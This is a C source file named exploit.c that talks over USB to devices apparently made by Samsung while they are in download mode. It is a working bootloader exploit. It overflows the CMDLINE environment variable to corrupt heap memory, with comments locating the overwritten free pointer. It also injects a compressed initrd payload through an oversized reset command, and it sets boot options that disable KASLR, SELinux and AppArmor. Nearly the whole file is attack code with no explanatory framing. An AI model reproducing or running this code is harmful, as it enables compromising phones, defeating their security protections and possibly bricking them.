exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libusb.h>

#define USB_CLASS_CDC_DATA 0x0A

struct dev {
	int vendor_id;
	int product_id;
};

struct dev supported_devs[] = {
	{ 0x04e8, 0x6601 },
	{ 0x04e8, 0x685d },
	{ 0x04e8, 0x68c3 }
};

struct state {
	libusb_context *ctx;
	libusb_device *device;
	libusb_device_handle *handle;
	int interface_index;
	int alt_setting_index;
	int in_endpoint;
	int out_endpoint;
	int interface_claimed;
};

struct state usb_state;
struct state *state = &usb_state;

char default_cmdline[] = "console=ram loglevel=4";
char default_debug_level[] = "0x4f4c";

int
init_state()
{
	int n, i, j, k, r;
	libusb_device **devices;
	struct libusb_device_descriptor desc;
	struct libusb_config_descriptor *config;

	r = libusb_init(&state->ctx);
	if (r != LIBUSB_SUCCESS) {
		printf("Failed to initialize libusb. libusb error: %d\n", r);
		return -1;
	}

	printf("Detecting device...\n");
	n = libusb_get_device_list(state->ctx, &devices);

	for (i = 0; i < n; i++) {
		struct libusb_device_descriptor d;
		libusb_get_device_descriptor(devices[i], &d);
		for (j = 0; j < sizeof(supported_devs); j++) {
			if (d.idVendor != supported_devs[j].vendor_id)
				continue;
			if (d.idProduct != supported_devs[j].product_id)
				continue;
			state->device = devices[i];
			libusb_ref_device(state->device);
			break;
		}
		if (state->device) break;
	}

	libusb_free_device_list(devices, n);

	if (!state->device) {
		printf("Device detection failed\n");
		return -1;
	}

	r = libusb_open(state->device, &state->handle);
	if (r != LIBUSB_SUCCESS) {
		printf("Failed to access device: %s\n", libusb_strerror(r));
		return -1;
	}

	r = libusb_get_device_descriptor(state->device, &desc);
	if (r != LIBUSB_SUCCESS) {
		printf("Failed to retrieve device descriptor: %s\n", libusb_strerror(r));
		return -1;
	}

	r = libusb_get_config_descriptor(state->device, 0, &config);
	if (r != LIBUSB_SUCCESS || !config) {
		printf("Failed to retrieve config descriptor: %s\n", libusb_strerror(r));
		return -1;
	}

	state->interface_index = -1;
	state->alt_setting_index = -1;
	for (i = 0; i < config->bNumInterfaces; i++) {
		for (j = 0; j < config->interface[i].num_altsetting; j++) {
			int in_endpoint_addr = -1;
			int out_endpoint_addr = -1;
			for (k = 0;
			     k < config->interface[i].altsetting[j].bNumEndpoints;
			     k++) {
				const struct libusb_endpoint_descriptor *endpoint;
				endpoint = &config->interface[i].altsetting[j].endpoint[k];
				if (endpoint->bEndpointAddress & LIBUSB_ENDPOINT_IN)
					in_endpoint_addr = endpoint->bEndpointAddress;
				else
					out_endpoint_addr = endpoint->bEndpointAddress;
			}
			if (state->interface_index >= 0)
				continue;
			if (config->interface[i].altsetting[j].bNumEndpoints != 2)
				continue;
			if (config->interface[i].altsetting[j].bInterfaceClass != USB_CLASS_CDC_DATA)
				continue;
			if (in_endpoint_addr == -1)
				continue;
			if (out_endpoint_addr == -1)
				continue;
			state->interface_index = i;
			state->alt_setting_index = j;
			state->in_endpoint = in_endpoint_addr;
			state->out_endpoint = out_endpoint_addr;
		}
	}

	libusb_free_config_descriptor(config);

	if (state->interface_index < 0) {
		printf("Failed to find correct interface configuration\n");
		return -1;
	}

	printf("Claiming interface...\n");
	r = libusb_claim_interface(state->handle, state->interface_index);
	if (r != LIBUSB_SUCCESS) {
		printf("Claiming interface failed: %s\n", libusb_strerror(r));
		return -1;
	}
	state->interface_claimed = 1;

	printf("Setting up interface...\n");
	r = libusb_set_interface_alt_setting(state->handle,
	    state->interface_index,
	    state->alt_setting_index);
	if (r != LIBUSB_SUCCESS) {
		printf("Setting up interface failed: %s\n", libusb_strerror(r));
		return -1;
	}

	return 0;
}

void
close_state()
{
	if (state->interface_claimed && state->handle) {
		libusb_release_interface(state->handle, state->interface_index);
		state->interface_claimed = 0;
	}
	if (state->handle)
		libusb_close(state->handle);
	if (state->device)
		libusb_unref_device(state->device);
	if (state->ctx)
		libusb_exit(state->ctx);
}

int
send_data(unsigned char *data, int len, int timeout)
{
	int i, n, r;

	for (i = 0; i < 5; i++) {
		r = libusb_bulk_transfer(state->handle, state->out_endpoint, data, len, &n, timeout);
		if (r == LIBUSB_SUCCESS) {
			printf("Sent: %d\n", n);
			return 0;
		}
		sleep(5);

	}
	printf("Send Failed: %s\n", libusb_strerror(r));
	return -1;
}

int
receive_data(unsigned char *data, int len, int timeout)
{
	int i, n, r;

	for (i = 0; i < 5; i++) {
		r = libusb_bulk_transfer(state->handle, state->in_endpoint, data, len, &n, timeout);
		if (r == LIBUSB_SUCCESS) {
			return 0;
		}
		sleep(5);
	}
	printf("Receive failed: %s\n", libusb_strerror(r));
	return -1;
}

// 1: download
// 2:
// 3: normal
// 4: recovery
// 5: normal
int
setenv_cmd(char *var, char *val)
{
	unsigned char buf[1024];
	memset(buf, 0x40, sizeof(buf));
	if (val)
		sprintf(buf, "PROMPT setenv %s %s", var, val);
	else
		sprintf(buf, "PROMPT setenv %s", var);
	send_data(buf, sizeof(buf), 0);
	memset(buf, 0, sizeof(buf));
	if (receive_data(buf, sizeof(buf), 0) < 0)
		return -1;
	printf("%s\n", buf);
	return 0;
}

int
getenv_cmd()
{
	unsigned char buf[1024];
	memset(buf, 0, sizeof(buf));
	sprintf(buf, "PROMPT getenv");
	send_data(buf, sizeof(buf), 0);
	memset(buf, 0, sizeof(buf));
	if (receive_data(buf, sizeof(buf), 0) < 0)
		return -1;
	printf("%s", buf);
	return 0;
}

int
saveenv_cmd()
{
	unsigned char buf[1024];
	memset(buf, 0, sizeof(buf));
	sprintf(buf, "PROMPT saveenv");
	send_data(buf, sizeof(buf), 0);
	memset(buf, 0, sizeof(buf));
	if (receive_data(buf, sizeof(buf), 0) < 0)
		return -1;
	printf("%s\n", buf);
	return 0;
}

int
reset_cmd()
{
	unsigned char buf[1024];
	memset(buf, 0, sizeof(buf));
	sprintf(buf, "PROMPT reset");
	return send_data(buf, sizeof(buf), 0);
}

int
dvinfo_cmd()
{
	unsigned char buf[1024];
	memset(buf, 0, sizeof(buf));
	sprintf(buf, "DVINFO");
	send_data(buf, sizeof(buf), 0);
	memset(buf, 0, sizeof(buf));
	if (receive_data(buf, sizeof(buf), 0) < 0)
		return -1;
	printf("%s\n", buf);
	return 0;
}

int
powerdown_cmd()
{
	unsigned char buf[1024];
	memset(buf, 0, sizeof(buf));
	sprintf(buf, "%s", "PoWeRdOwN");
	return send_data(buf, sizeof(buf), 0);
}


unsigned char initrd[] =
    "\x8b\x1f\x00\x08\x02\x29\x5d\x3f\x03\x00\x30\x33\x30\x37\x30\x37"
    "\x30\x34\x31\x30\x77\x30\x72\x32\x00\x31\x13\x02\x57\x43\x8d\x30"
    "\x18\x05\xba\x9a\xbb\x18\x18\x19\x3a\x19\x90\xe2\xc6\x76\xcf\xa1"
    "\xc6\x08\x63\xd0\x40\x30\xe7\xd8\x00\x6c\x6f\x56\xd0\x41\x03\x3e"
    "\x08\x33\x82\xcf\xfb\x58\x61\x4c\xcc\x8c\xcc\xbc\x06\x12\x7a\x86"
    "\x1f\x57\x26\x37\x46\x46\x18\x06\x62\x60\xce\xd8\xe2\x00\x30\x55"
    "\x80\x38\x0e\xf9\xf1\x50\x0c\x03\xe0\x08\x60\xc0\x54\x01\xc0\xe3"
    "\x0c\xc0\x0d\x54\xcb\x52\xc0\xca\x22\x80\x4c\x8b\x80\xaf\x56\xf2"
    "\xe5\xc0\x76\x21\x30\x29\x5c\x34\xc8\x7a\x10\xc0\xc4\xc1\x10\xc8"
    "\xc1\xc1\x70\xd1\x28\x09\x05\x7a\x2c\x28\x90\x12\xee\x11\xa2\xe7"
    "\xc5\xc8\x01\x30\x9f\xaa\xa6\x1d\xaf\x4d\xa3\x38\xa4\xb8\x24\xa8"
    "\x89\x31\xaf\x41\xb5\x24\x84\xa2\x4a\x81\x1b\x80\x22\xea\x28\x36"
    "\xe6\x1f\x0a\xef\xdf\x28\x4d\x00\x07\x3d\x1f\x1a\x97\xa4\x8b\x19"
    "\x30\xb9\x0a\xff\x51\x62\x0c\x8f\xe2\x50\xd8\x9c\x66\x34\x43\x8e"
    "\x57\x1a\x9b\x9c\x18\xc0\xa9\x29\xe8\x65\xba\x76\x69\x12\x7a\x27"
    "\x23\x02\x27\x64\x9d\x3c\x14\x15\x27\xe5\xd9\xa3\x46\xe9\x9d\xa4"
    "\xe6\xa4\x78\x25\x94\xb8\x16\x24\xa7\xa5\x20\x96\x2f\x87\x80\x51"
    "\x75\x58\xc0\xe8\xc6\x09\x09\x08\xf4\x72\x71\xf4\x52\x0d\x54\x54"
    "\x26\x24\x8d\xed\xc1\x82\x00\x0d\x79\xe5\x9c\x2a\x06\x00\x00\x00";

int
inject_initrd_and_reset()
{
	unsigned char buf[1024];
	memset(buf, 0, sizeof(buf));
	sprintf(buf, "PROMPT reset ");
	memcpy(buf+0xe, initrd, sizeof(initrd));
	return send_data(buf, sizeof(buf), 0);
}

int
replace_spaces(char *str)
{
	int n = 0;
	while (*str) {
		if (*str == ' ') {
			*str = 0x0a;
			n++;
		}
		str++;
	}
	return n;
}

char cmdline[] =
    "console=ram "
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAZZ"
    "ZZQQW";
//   | null-byte newline hits lsb of free
//       | null-byte newline hit the msb of free
//         | null-byte and newline hit the pointer

char initrd_cmdline[] = "console=ram loglevel=7 initrd=0x906ff8ce,304 rdinit=/init root=/dev/ram0 rw";

/* int */
/* hack_cmd() */
/* { */
/*	char buf[4096]; */
/*	memset(buf, 0, sizeof(buf)); */
/*	sprintf(buf, "%s %s %s%s %s   ", "PROMPT", "setenv CMDLINE", "loglevel=", very_long, "mif"); */
/*	send_data(buf, sizeof(buf), 0); */
/*	memset(buf, 0, sizeof(buf)); */
/*	if (receive_data(buf, sizeof(buf), 0) < 0) */
/*		return -1; */
/*	printf("%s\n", buf); */
/*	return 0; */
/* } */

void
corrupt_memory()
{
	setenv_cmd("CMDLINE", default_cmdline);
	getenv_cmd();
	setenv_cmd("REBOOT_MODE", "3");
	replace_spaces(cmdline);
	setenv_cmd("CMDLINE", cmdline);
	saveenv_cmd();
	// getenv_cmd();
	reset_cmd();

}

void
change_initrd()
{
	setenv_cmd("CMDLINE", default_cmdline);
	getenv_cmd();
	setenv_cmd("REBOOT_MODE", "3");
	replace_spaces(initrd_cmdline);
	setenv_cmd("CMDLINE", initrd_cmdline);
	saveenv_cmd();
	inject_initrd_and_reset();
}

void
restore_defaults()
{
	setenv_cmd("REBOOT_MODE", "3");
	setenv_cmd("CMDLINE", default_cmdline);
	getenv_cmd();
	saveenv_cmd();
	reset_cmd();
}

int
kernel_exploitation()
{
	char cmd[1024];
	strcpy(cmd, "console=ram loglevel=7 nokaslr selinux=0 apparmor=0 nohlt norandmaps rw ");
	setenv_cmd("REBOOT_MODE", "3");
	replace_spaces(cmd);
	setenv_cmd("CMDLINE", cmd);
	saveenv_cmd();
	reset_cmd();
	return 0;
}


int
main(void)
{
	if (init_state() < 0) {
		printf("Init failed\n");
		goto err;
	}

	// change_initrd();
	// restore_defaults();
	kernel_exploitation();

	close_state();
	return 0;
err:
	return -1;

}

// 0x64 (control file transfer)
// 0x02 (request part)
// bytes